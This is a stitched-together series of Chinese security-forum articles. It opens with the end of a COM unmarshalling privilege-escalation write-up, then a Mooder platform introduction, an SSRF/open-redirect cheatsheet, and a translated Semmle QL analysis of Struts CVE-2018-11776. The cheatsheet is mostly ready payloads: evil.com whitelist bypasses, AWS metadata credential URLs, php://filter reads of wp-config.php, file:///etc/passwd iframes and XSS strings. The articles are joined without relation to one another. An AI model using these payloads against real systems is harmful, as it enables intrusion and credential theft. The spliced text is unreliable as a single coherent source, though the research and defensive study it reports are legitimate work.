我将一个[SCT文件](https://gist.github.com/matthiaskaiser/179836e550edc1cacbb993f3de006632)放在“c:temppoc.sct”中，该文件从ActiveXObject运行记事本。然后，我尝试将BITS作为目标服务器，但无法正常工作。
使用OleView
.NET我发现BITS不支持自定义编组（请参阅[EOAC_NO_CUSTOM_MARSHAL](https://msdn.microsoft.com/en-us/library/windows/desktop/ms693368\(v=vs.85\).aspx)）。但SearchIndexer与CLSID
{06622d85-6856-4460-8de1-a81921b41c4b}服务被作为SYSTEM运行，并允许自定义编组。
因此我创建了一个PoC，它具有以下main()函数。
对CoGetInstanceFromIStorage()的调用将激活目标COM服务器并触发FakeObject实例的序列化。由于COM-API函数需要IStorage作为参数，我们必须在我们的FakeObject类中实现IStorage接口。
运行POC后，我们终于有了一个“notepad.exe”作为SYSTEM运行。
POC可以在我们的[github](https://github.com/codewhitesec/UnmarshalPwn)上找到。
## 补丁
微软现在正在检查从线程本地存储中读取的flag。flag设置在与编组无关的不同方法中。如果未设置flag，函数cMARSHALLCTORK::unMARHALLATFACE()将在不从istRAMAM读取任何内容的情况下提前退出。
审核人：yiwang 编辑：边边 | 社区文章 |
# 【技术分享】开源SRC项目、团队内部贡献平台Mooder
##### 译文声明
本文是翻译文章，文章来源：Freebuf
原文地址：<http://www.freebuf.com/sectool/117524.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**小介绍**
Mooder是一款开源、安全、简洁、强大的（安全）团队内部知识分享平台，基于Django、全封闭保证私密性、支持Markdown、支持Postgres/Mysql/Sqlite等多种数据库、支持Docker-compose一键化安装与更新，易于二次开发。
今天开源的一个小玩意，上个月到这个月陆陆续续写的，这几天下班以后也会写几行这个，进行产品上的微调，然后修一些BUG。本来是给自己团队写的一个东西，但想想感觉应该有很多团队都需要这个，于是就开源了。
项目地址： <https://github.com/phith0n/mooder>
文档地址： <https://phith0n.github.io/mooder/>
**为什么会有Mooder**
有的人把Mooder理解为一个漏洞平台：团队成员可以提交漏洞，管理员进行审核与评分，最后能够兑换礼品或兑换其他人的漏洞。
但我把它理解为一个“团队贡献”平台，绝不是分享漏洞，而是分享知识。最初我在设计Minos的时候就有这样的想法，只可惜后面走偏了，把Minos做成一个社区了。后来我想想，还是需要这么一个东西，于是我又写了Mooder。
一个团队需要有自己独一无二的内容，才能吸引更多人才，而这个平台将是承载这些内容的载体。
做Mooder的初衷是为了团队内部的交流。由于众所周知的原因，国内大量社区关闭，安全技术知识的学习变得愈加困难，更多的团队将交流方式变为QQ群、微信群。
而QQ、微信等及时通信工具并不是一个交流技术的好地方，团队仍然需要一个内部社区。
Mooder从设计之初想法就是“封闭”，也就是说该社区严格控制内部隐私，仅拥有邀请码的用户可以登录社区，管理员在后台也能够踢出、删除一个用户，保证了社区的私密性。
另外，Mooder的核心理念的“贡献知识”。团队成员可以将自己挖掘的通用漏洞、编写的EXP、提交到其他SRC的漏洞详情、众测中挖到的漏洞等等作为一个“贡献”提交到Mooder中，然后由管理员进行审核并给予rank与积分。通过该“积分”，团队成员也可以购买其他成员提交的贡献，或者去礼品中心换取礼品等。
通过这样的“知识交换”，让团队能够更快地成长。
**一些小预览**
**用户登录**
Mooder支持登录、邀请码注册、找回密码、登录激活。
注册：
**查看贡献**
贡献列表，列出所有贡献：
详情页面，根据贡献的私密程度判断用户是否可读。
用户在提交贡献的时候可以选择该贡献的可见性：公开、出售或私密。公开的贡献，所有平台注册用户均可查看；出售的贡献，其他用户需要付出一定价格购买，才能查看当前贡献，而贡献提交者将可以或者这笔费用；私密的贡献，除贡献作者与审核员外任何人无法查看。
**提交与审核贡献**
提交贡献支持Markdown编辑详情，支持上传图片与附件，支持预览：
管理员后台审核贡献：
**礼品中心**
团队负责人可以在后台进行礼品上架，用于奖励乐于分享的成员。前台礼品中心：
用户填写收货地址进行礼品兑换：
管理员后台查看购买记录：
虚拟物品可以直接通过“管理员回复”发货：
**后台管理**
审核员后台，可以方便地进行贡献（漏洞）的审核，也能极好的控制权限——可以控制审核员只能审核贡献、运营人员只能修改礼品与发货。
后台首页显示一些统计信息：
一键生成邀请码：
增加内部应用：
用户奖惩： | 社区文章 |
本文是几个月前针对类似SSRF，URL开放重定向等漏洞的挖掘技巧的一个总结，可以作为一个渗透测试cheatsheet参考。
## parameter
share, next, go, return _, wap, link, src, source, target, u, 3g, display,_
url*, domain, .cgi, destination……
## 功能点
1. 社交分享功能：获取超链接的标题等内容进行显示
2. 转码服务：通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3. 在线翻译：给网址翻译对应网页的内容
4. 图片加载/下载：例如富文本编辑器中的点击下载图片到本地；通过URL地址加载或下载图片
5. 图片/文章收藏功能：主要其会读取URL地址中title以及文本的内容作为显示以求一个好的用户体验
6. 云服务厂商：它会远程执行一些命令来判断网站是否存活等，所以如果可以捕获相应的信息，就可以进行ssrf测试
7. 网站采集，网站抓取的地方：一些网站会针对你输入的url进行一些信息采集工作
8. 数据库内置功能：数据库的比如mongodb的copyDatabase函数
9. 邮件系统：比如接收邮件服务器地址
10. 编码处理, 属性信息处理，文件处理：比如ffpmg，ImageMagick，docx，pdf，xml处理器等
11. 未公开的api实现以及其他扩展调用URL的功能：可以利用google 语法加上这些关键字去寻找SSRF漏洞
12. 从远程服务器请求资源（upload from url 如discuz！；import & expost rss feed 如web blog；使用了xml引擎对象的地方 如wordpress xmlrpc.php）
## 防御Bypass
[target:evil.com]
### Tricks
<http://evil.com:80/>
<http://evil.com#baidu.com>
<http://evil.com#baidu.com?baidu.com>
<http://[email protected]>
<http://evil.com?baidu.com>
<http://evil.com$baidu.com>
<http://evil.com?baidu.com>
<http://evil.com\baidu.com>
<http://evil.com/baidu.com>
<http://baiduevil.com/>
<http://evil.com\\baidu.com>
<http://[email protected]#@baidu.com>
<http://evil.com;.baidu.com>
<http://evil.com\.baidu.com>
<http://evilbaidu.com>
<http://baidu.com.evil.com>
<http://evil.com://baidu.com>
[http://evil.com&baidu.com](http://evil.com&baidu.com)
<http://evil.com?jump=baidu.com>
/evil.com (without protocol)
//evil.com (without protocol)
### 白名单
如果目标站使用了白名单，那么白名单域中可能存在重定向漏洞，可利用绕过白名单限制。
一些站点例如baidu,zhihu... 信任外部域并开启开放重定向功能，可作为中间介质导向恶意站点。
### 127.0.0.1(其他IP地址可同理变异)
<http://127.0.0.1:22/>
<http://localhst:22/>
<http://localhost.backcover7.cc:22/>
<http://[::]:80/>
<http://0000::1:80/>
<http://shorturl.com/xxx>
<http://127。0。0。1/>
xip.name, nip.io, ip6.name, sslip.io
<http://www.127.0.0.1.xip.io/> #combine with the previous tricks
### radix
<http://www.ab126.com/system/2859.html> #online tools
### 协议
0：//url
<https://url>
dict://url
file://url
ftp://url
sftp://url
tftp://url
ldap://url
gopher://url
jar://
php://
weixin:// #client pseudo protocol
### 端口
给目标域加上端口可能有意向不到的效果
80,443,8080...
<http://target.com:80/>...
### unicode字符
Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
### 其他技巧
* DNS Rebinding
* 上传文件，然后命名为URL地址，然后通过文件下载或读取功能引入。
* curl & 301/302 —> [http://target.com/ssrf.php?u=http://vps.com/?redirect=x.x.x.x&port=80&info=xxx](http://target.com/ssrf.php?u=http://vps.com/?redirect=x.x.x.x&port=80&info=xxx)
* AWS EC2
<http://169.254.169.254/latest/meta-data/{local-hostname>, public-ipv4}
<http://169.254.169.254/latest/user-data>
<http://169.254.169.254/latest/meta-data/iam/security-credentials>
* open redirect DoS
<http://url/x.php?u=http://url/x.php?u=http://url/x.php?u=http://url/x.php?u=http://url/x.php?u>
* SSRF to XSS
<https://robert-brook.com/parliament/index.php?page=http://brutelogic.com.br/poc.svg>
* cms & plugin
JIRA version7.3.5 https://<JIRA_BASEPATH/plugins/servlet/oauth/users/icon-uri?consumerUri=…
* JSmol2WP version<1.07
[http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php](http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php)
* Qards
<http://target/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com>
* convert HTML to PDF
"><iframe src="file:///etc/passwd"></iframe>
"><svg/onload=document.write(document.location)>
* imagemagick
?u=<http://x/imagemagicPOC.gif>
* XSS
?url=<img/src/onerror=alert(1)>
?url=data://text/plain;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg== | 社区文章 |
翻译自“[CVE-2018-11776: How to find 5 RCEs in Apache Struts with Semmle
QL](https://lgtm.com/blog/apache_struts_CVE-2018-11776 "CVE-2018-11776: How to
find 5 RCEs in Apache Struts with Semmle QL")”
译者（Ph0rse@d0g3）注：人在北京，已穷到吃土。修洞之余，翻一下大佬的文章，向这种优秀的思路学习~
## 正文：
2018年4月，Man You
Mo向Struts安全团队提交了一个新的远程执行代码漏洞编号为[CVE-2018-11776](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11776
"CVE-2018-11776")（[S2-057](https://struts.apache.org/docs/s2-057.html
"S2-057")），当Struts2使用了危险配置是，远程访问即可触发。影响版本为
Struts 2.3 - Struts 2.3.34, Struts 2.5 - Struts
2.5.16，详情请移步官方公告，公告博客[文章](https://semmle.com/news/apache-struts-CVE-2018-11776
"研究")。
这是Man You Mo对Apache
Struts安全特性的一部分研究内容。在这篇文章中，作者将介绍如何发现CVE-2018-11776。作者通过之前的旧洞信息，研究Struts的内部安全防护机制，通过创建Semmle
QL运行那些可能有问题的代码。查询结果已分享在[Github](https://github.com/Semmle/SecurityQueries
"Github")上，在后续的研究中也会向这个项目中添加更多的内容，以辅助Struts2以及其它项目的安全审计。
### 识别攻击面
很多漏洞都是接收了危险的数据输入，随后数据流向了某些危险的功能函数中，比如执行SQL语句、反序列化以及其它的解析方式。QL可以很轻松地搜索这种漏洞，只需要我们配置好出各种数据源和危险功能函数，然后让DataFlow库来完成遍历操作。对于某个特定的程序，想要挖掘这种危险数据流的最好方法是查看它的历史漏洞，跟踪历史漏洞的过程中，就可以让我们理解这个程序的安全运作机制，从而更容易发现新的漏洞。
审计之前，作者先跟进调试了[S2-032](https://struts.apache.org/docs/s2-032.html
"S2-032")/[S2-033](https://struts.apache.org/docs/s2-033.html
"S2-033")/[S2-037](https://struts.apache.org/docs/s2-037.html
"S2-037"),这些漏洞都将可控输入进行了[OGNL](https://commons.apache.org/proper/commons-ognl/
"OGNL")表达式解析，从而导致任意代码执行。而最有意思的地方是，同一类漏洞、同样的问题，但确要修复3次，这或许意味着，这个隐患可能仍然存在。
上面的三个RCE漏洞，都是远程通过[OgnlUtil::getValue()](https://lgtm.com/projects/g/apache/struts/snapshot/02518d8149ff0b60863b4012cd3268cf0f2942b7/files/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlUtil.java?#L301
"OgnlUtil::getValue\(\)")将数据赋予了[methodName](https://lgtm.com/projects/g/apache/struts/snapshot/02518d8149ff0b60863b4012cd3268cf0f2942b7/files/core/src/main/java/com/opensymphony/xwork2/DefaultActionInvocation.java?sort=name&dir=ASC&mode=heatmap&showExcluded=true#L419
"methodName")变量：
String methodName = proxy.getMethod(); //<--- untrusted source, but where from?
LOG.debug("Executing action method = {}", methodName);
String timerKey = "invokeAction: " + proxy.getActionName();
try {
UtilTimerStack.push(timerKey);
Object methodResult;
try {
methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action); //<--- RCE
[proxy](https://lgtm.com/projects/g/apache/struts/snapshot/02518d8149ff0b60863b4012cd3268cf0f2942b7/files/core/src/main/java/com/opensymphony/xwork2/DefaultActionInvocation.java#L53
"proxy")实现了[ActionProxy](https://lgtm.com/projects/g/apache/struts/snapshot/02518d8149ff0b60863b4012cd3268cf0f2942b7/files/core/src/main/java/com/opensymphony/xwork2/ActionProxy.java#x1dbb20cd65371ef1%3A1
"ActionProxy")接口，在接口的定义里，出了[getMethod()](https://lgtm.com/projects/g/apache/struts/snapshot/02518d8149ff0b60863b4012cd3268cf0f2942b7/files/core/src/main/java/com/opensymphony/xwork2/ActionProxy.java?#L96
"getMethod\(\)")还有很多获取数据的方法，比如[getActionName()](https://lgtm.com/projects/g/apache/struts/snapshot/02518d8149ff0b60863b4012cd3268cf0f2942b7/files/core/src/main/java/com/opensymphony/xwork2/ActionProxy.java?#L44
"getActionName\(\)")和[getNamespace()](https://lgtm.com/projects/g/apache/struts/snapshot/02518d8149ff0b60863b4012cd3268cf0f2942b7/files/core/src/main/java/com/opensymphony/xwork2/ActionProxy.java?#L79
"getNamespace\(\)")。由于和[getMethod()](https://lgtm.com/projects/g/apache/struts/snapshot/02518d8149ff0b60863b4012cd3268cf0f2942b7/files/core/src/main/java/com/opensymphony/xwork2/ActionProxy.java?#L96
"getMethod\(\)")功能相似，所以我们先假设这些方法传入的数据可控。
现在尝试运用QL挖掘思路，开始对这些数据源建模：
class ActionProxyGetMethod extends Method {
ActionProxyGetMethod() {
getDeclaringType().getASupertype*().hasQualifiedName("com.opensymphony.xwork2", "ActionProxy") and
(
hasName("getMethod") or
hasName("getNamespace") or
hasName("getActionName")
)
}
}
predicate isActionProxySource(DataFlow::Node source) {
source.asExpr().(MethodAccess).getMethod() instanceof ActionProxyGetMethod
}
### 定位OGNL解析函数
我们在确定了数据源之后，再用类似的方法，定位Struts2中的OGNL解析代Struts中有许多函数最终会把参数作为OGNL表达式进行解析;
在前三个漏洞中，使用的是[OgnlUtil::getValue()](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlUtil.java?sort=name&dir=ASC&mode=heatmap&showExcluded=true#L359
"OgnlUtil::getValue\(\)")，但是在[S2-045](https://struts.apache.org/docs/s2-045.html
"S2-045")（CVE-2017-5638）中，使用的是[TextParseUtil::translateVariables()](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/core/src/main/java/com/opensymphony/xwork2/util/TextParseUtil.java?sort=name&dir=ASC&mode=heatmap&showExcluded=true#L47
"TextParseUtil::translateVariables\(\)")。通过对这两个函数的分析，我们了解到，最终，数据流将流向[OgnlUtil::compileAndExecute()](https://lgtm.com/projects/g/apache/struts/latest/files/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlUtil.java?sort=name&dir=ASC&mode=heatmap&showExcluded=true#L388
"OgnlUtil::compileAndExecute\(\)")和[OgnlUtl::compileAndExecuteMethod()](https://lgtm.com/projects/g/apache/struts/latest/files/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlUtil.java#L409
"OgnlUtl::compileAndExecuteMethod\(\)")，所以我们使用一个QL谓词中这两个函数，如下所示：
predicate isOgnlSink(DataFlow::Node sink) {
exists(MethodAccess ma | ma.getMethod().hasName("compileAndExecute") or ma.getMethod().hasName("compileAndExecuteMethod") |
ma.getMethod().getDeclaringType().getName().matches("OgnlUtil") and
sink.asExpr() = ma.getArgument(0)
)
}
### 误差排查
现在我们已经在QL中定义了数据源和接收器，然后可以用DataFlow库来定义DataFlow配置：
class OgnlTaintTrackingCfg extends DataFlow::Configuration {
OgnlTaintTrackingCfg() {
this = "mapping"
}
override predicate isSource(DataFlow::Node source) {
isActionProxySource(source)
}
override predicate isSink(DataFlow::Node sink) {
isOgnlSink(sink)
}
override predicate isAdditionalFlowStep(DataFlow::Node node1, DataFlow::Node node2) {
TaintTracking::localTaintStep(node1, node2) or
exists(Field f, RefType t | node1.asExpr() = f.getAnAssignedValue() and node2.asExpr() = f.getAnAccess() and
node1.asExpr().getEnclosingCallable().getDeclaringType() = t and
node2.asExpr().getEnclosingCallable().getDeclaringType() = t
)
}
}
from OgnlTaintTrackingCfg cfg, DataFlow::Node source, DataFlow::Node sink
where cfg.hasFlow(source, sink)
select source, sink
在这里使用了之前定义的isActionProxySource和isOgnlSink谓词。
请注意，这里还覆盖了一个名为的谓词isAdditionalFlowStep。这个谓词包含一些步骤，这些步骤可以转入有害数据。例如，将特定项目信息合并到流配置中。再者，如果我们有通过某个网络层进行通信的组件，就可以在QL中描述那些各种网络端点的代码是什么样的，能够允许DataFlow库通过这些抽象出的结构，来跟踪被污染的数据。
为了跟踪有害数据，我写了两段代码，来供DataFlow使用。
第一个：
TaintTracking::localTaintStep(node1, node2)
可以跟踪标准Java库调用，字符串操作等的标准QL 库操作。第二个添加也类似，允许我们通过字段访问来跟踪污点数据：
exists(Field f, RefType t | node1.asExpr() = f.getAnAssignedValue() and node2.asExpr() = f.getAnAccess() and
node1.asExpr().getEnclosingCallable().getDeclaringType() = t and
node2.asExpr().getEnclosingCallable().getDeclaringType() = t
)
如果在同一类中，存在两个方法可以传递有害数据，DataFlow会直接认为，这是攻击链的一部分。比如说：
public void foo(String taint) {
this.field = taint;
}
public void bar() {
String x = this.field; //x is tainted because field is assigned to tainted value in `foo`
}
如果foo()之前没有调用过bar()，在bar()中的this.field就没有被污染。我们并不能确定bar()中调用的this.field是可控的，所以，在DataFlow::Configuration中配置的默认情况下，并不会认为这段代码收到污染。然而，对于挖掘漏洞而言，这种数据可控的可能性是需要考虑的，所以我们需要再挖掘漏洞时在DataFlow::Configuration里额外配置。在之后的文章中，作者将分享一些类似于的分析技巧，这些技巧对于半自动化挖掘漏洞很有用。
### 初步结果和查询细化
我们在将上述步骤运用到实践之后，可以得到[初步结果](https://lgtm.com/query/1506472457954/
"初步结果")，但很奇怪的是，在这些初步结果中，已修复的S2-032，S2-033和S2-037代码片段仍然会被[认为存在漏洞](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/core/src/main/java/com/opensymphony/xwork2/DefaultActionInvocation.java?sort=name&dir=ASC&mode=heatmap&showExcluded=true#L418
"认为存在漏洞")。在尝试发现新的攻击路径之前，我们要先搞明白，为啥会误报。
经过验证后发现，第一个漏洞出现之后，官方是通过过滤关键字的方式修补。S2-037爆出后，S2官方决定用[OgnlUtil::callMethod()](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/core/src/main/java/com/opensymphony/xwork2/DefaultActionInvocation.java?sort=name&dir=ASC&mode=heatmap&showExcluded=true#L426
"OgnlUtil::callMethod\(\)")来替换[OgnlUtil::getValue()](https://lgtm.com/projects/g/apache/struts/snapshot/02518d8149ff0b60863b4012cd3268cf0f2942b7/files/core/src/main/java/com/opensymphony/xwork2/DefaultActionInvocation.java?sort=name&dir=ASC&mode=heatmap&showExcluded=true#L419
"OgnlUtil::getValue\(\)")
methodResult = ognlUtil.callMethod(methodName + "()", getStack().getContext(), action);
[callMethod()](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlUtil.java#L367
"callMethod\(\)")调用了[compileAndExecuteMethod()](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlUtil.java?#L409
"compileAndExecuteMethod\(\)")：
public Object callMethod(final String name, final Map<String, Object> context, final Object root) throws OgnlException {
return compileAndExecuteMethod(name, context, new OgnlTask<Object>() {
public Object execute(Object tree) throws OgnlException {
return Ognl.getValue(tree, context, root);
}
});
}
并且compileAndExecuteMethod()在解析表达式之前，执行了一些[额外的过滤](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlUtil.java#L415
"额外的过滤")
private <T> Object compileAndExecuteMethod(String expression, Map<String, Object> context, OgnlTask<T> task) throws OgnlException {
Object tree;
if (enableExpressionCache) {
tree = expressions.get(expression);
if (tree == null) {
tree = Ognl.parseExpression(expression);
checkSimpleMethod(tree, context); //<--- Additional check.
}
所以，我们可以把compileAndExecuteMethod()从危险函数中移除。
可以[看到](https://lgtm.com/query/1506466898138/
"看到")，这个[误报](https://lgtm.com/projects/g/apache/struts/snapshot/8ec1e7b73b13b4fccb00451505fd23d84dad323d/files/core/src/main/java/com/opensymphony/xwork2/DefaultActionInvocation.java?sort=name&dir=ASC&mode=heatmap&showExcluded=false#L418
"误报")被基本消除了。但还是存在一点点误差，比如对DefaultActionInvocation.java中，[调用的getActionName()](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/core/src/main/java/com/opensymphony/xwork2/DefaultActionInvocation.java?sort=name&dir=ASC&mode=heatmap&showExcluded=true#L230
"调用的getActionName\(\)")进行了告警，但其实，有害数据并不能传入compileAndExecute()。
### 路径探索和进一步查询细化
为了研究为什么会出现这个误报，我们需要了解DataFlow生成结果的详细步骤。QL允许编写一些特定的请求，通过生成可以逐节点探索的可变长度路径，去调试“可疑结果”。
写这篇博客时，LGTM本身没有调试“错误结果”的UI ，因此我们需要使用另一个Semmle应用程序：QL for
Eclipse。这个Eclipse插件可以可视化调试“错误结果”。可按照[此处说明](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/core/src/main/java/com/opensymphony/xwork2/DefaultActionInvocation.java?sort=name&dir=ASC&mode=heatmap&showExcluded=true#L230
"此处说明")，安装这个插件。它不仅可以在LGTM.com上对开源项目进行离线分析，还可以为提供更强大的开发环境。可以在git
clone后的[Semmle/SecurityQueries](https://github.com/Semmle/SecurityQueries
"Semmle/SecurityQueries")下找到semmle-security-java。根据README.md来安装插件。
安装好插件
首先，运行查询[initial.ql](https://github.com/Semmle/SecurityQueries/blob/master/semmle-security-java/queries/struts/cve_2018_11776/initial.ql "initial.ql")。在QL for
Eclipse中，在运行结果中选中DefaultActionInvocation.java，就可以在Path
Explorer窗口中看到从源到接收器的详细路径。
由图片可知，经过几个步骤后，[getActionName()](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/core/src/main/java/com/opensymphony/xwork2/DefaultActionInvocation.java?sort=name&dir=ASC&mode=heatmap&showExcluded=true#L230
"getActionName\(\)")返回的值流入到了pkg.getActionConfigs().get()：
String chainedTo = actionName + nameSeparator + resultCode;
//actionName comes from `getActionName` somewhere
ActionConfig chainedToConfig = pkg.getActionConfigs().get(chainedTo);
//chainedTo contains `actionName` and ended up in the `get` method.
下一步，跟到[ValueStackShadowMap::get()](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/plugins/jasperreports/src/main/java/org/apache/struts2/views/jasperreports/ValueStackShadowMap.java?sort=name&dir=ASC&mode=heatmap&showExcluded=true#L82
"ValueStackShadowMap::get\(\)")，如下所示：
public Object get(Object key) {
Object value = super.get(key); //<--- key gets tainted?
if ((value == null) && key instanceof String) {
value = valueStack.findValue((String) key); //<--- findValue ended up evaluating `key`
}
return value;
}
分析可得，pkg.getActionConfigs()返回的是一个Map，而ValueStackShadowMap实现了Map接口，所以程序认为，pkg.getActionConfigs()返回的值可能是一个[ValueStackShadowMap](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/plugins/jasperreports/src/main/java/org/apache/struts2/views/jasperreports/ValueStackShadowMap.java
"ValueStackShadowMap")的实例。因此，QL
DataFlow库将ValueStackShadowMap这个调用链标注为危险。但实际上，ValueStackShadowMap属于jasperreports插件，它的实例仅在几个地方创建，并不能作为pkg.getActionConfigs()的返回值。经过以上分析，可以确定ValueStackShadowMap::get()不是有效利用点，因此作者添加了在DataFlow::Configuration中添加了一个barrier，解决了这个误报：
override predicate isBarrier(DataFlow::Node node) {
exists(Method m | (m.hasName("get") or m.hasName("containsKey")) and
m.getDeclaringType().hasName("ValueStackShadowMap") and
node.getEnclosingCallable() = m
)
}
这段代码告诉程序，如果有害输入流入了ValueStackShadowMap的get()或者[containsKey()](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/plugins/jasperreports/src/main/java/org/apache/struts2/views/jasperreports/ValueStackShadowMap.java?sort=name&dir=ASC&mode=heatmap&showExcluded=true#L63
"containsKey\(\)")方法，就不需要继续跟踪它，扔掉这个调用链。（containsKey()的情况和上述的get()是一样的）
在进一步针对
[ActionMapping::toString()](https://lgtm.com/projects/g/apache/struts/latest/files/core/src/main/java/org/apache/struts2/dispatcher/mapper/ActionMapping.java?sort=name&dir=ASC&mode=heatmap&showExcluded=true#L162
"ActionMapping::toString\(\)")中添加barrierfor后，（toString(）调用时容易产生误报），[重新运行查询](https://lgtm.com/query/1506364888034/
"重新运行查询")，就产生了最终的结果，可以在[Eclipse插件](https://github.com/Semmle/SecurityQueries/blob/master/semmle-security-java/queries/struts/cve_2018_11776/final.ql "Eclipse插件")中来显示、审计这些调用链。
### 0day
最后只剩下[10个调用链](https://lgtm.com/query/1506364888034/
"10个调用链")，很容易通过人工跟进检测是否存在漏洞。通过一些路径，把测试用例中的路径剔除之后，产生了以下结果：
比如，[ServletActionRedirectResult.java](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/core/src/main/java/org/apache/struts2/result/ServletActionRedirectResult.java?#L163
"ServletActionRedirectResult.java")：
首先，getNamespace()将恶意输入带入了变量namespace，而这个变量是ActionMapping构造函数的参数：
public void execute(ActionInvocation invocation) throws Exception {
actionName = conditionalParse(actionName, invocation);
if (namespace == null) {
namespace = invocation.getProxy().getNamespace(); //<--- source
} else {
namespace = conditionalParse(namespace, invocation);
}
if (method == null) {
method = "";
} else {
method = conditionalParse(method, invocation);
}
String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null)); //<--- namespace goes into constructor of ActionMapping
setLocation(tmpLocation);
接下来，getUriFromActionMapping()返回一个使用namespace构造的URL字符串ActionMapping。然后这个URK流入了变量tmpLocation中，tmpLocation为[setLocation()](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/core/src/main/java/org/apache/struts2/result/StrutsResultSupport.java#L152
"setLocation\(\)")的参数。
setLocation()将location的值赋予给了超类StrutsResultSupport中的location变量：
public void setLocation(String location) {
this.location = location;
}
然后在ServletActionResult调用了execute()：
String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));
setLocation(tmpLocation);
super.execute(invocation);
location字段会被带入到[conditionalParse()](https://lgtm.com/projects/g/apache/struts/snapshot/a7d06dc8c2c2439fd75692fe40b0a93fd0d60022/files/core/src/main/java/org/apache/struts2/result/StrutsResultSupport.java#L214
"conditionalParse\(\)")中：
public void execute(ActionInvocation invocation) throws Exception {
lastFinalLocation = conditionalParse(location, invocation);
doExecute(lastFinalLocation, invocation);
}
conditionalParse()中将location传入到了translateVariables()的param参数，随后被带入了OGNL解析器中：
protected String conditionalParse(String param, ActionInvocation invocation) {
if (parse && param != null && invocation != null) {
return TextParseUtil.translateVariables(
param,
invocation.getStack(),
new EncodingParsedValueEvaluator());
} else {
return param;
}
}
所以如果ServletActionRedirectResult中没有设置namespace参数，就会从ActionProxy中获取namespace变量，然后将其作为OGNL表达式进行评估。为了测试，作者将struts中的一个配置文件（比如struts-actionchaining.xml）替换为了以下内容：
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>
本地运行后，通过访问URL，成功在本地弹出计算器。
命令执行需要花了一些时间去绕过OGNL沙箱。出于安全考虑，作者暂时不公开沙箱绕过的细节。
不仅如此，从ActionChainResult、PostbackResult、ServletUrlRenderer传入也可以触发漏洞。PortletActionRedirectResult可能也存在漏洞，但作者并没有测试它。四个RCE已经足以证明问题的严重性。
### 结论
在这篇文章中，作者通过老洞，来进行污点建模，把遍历操作交给QL
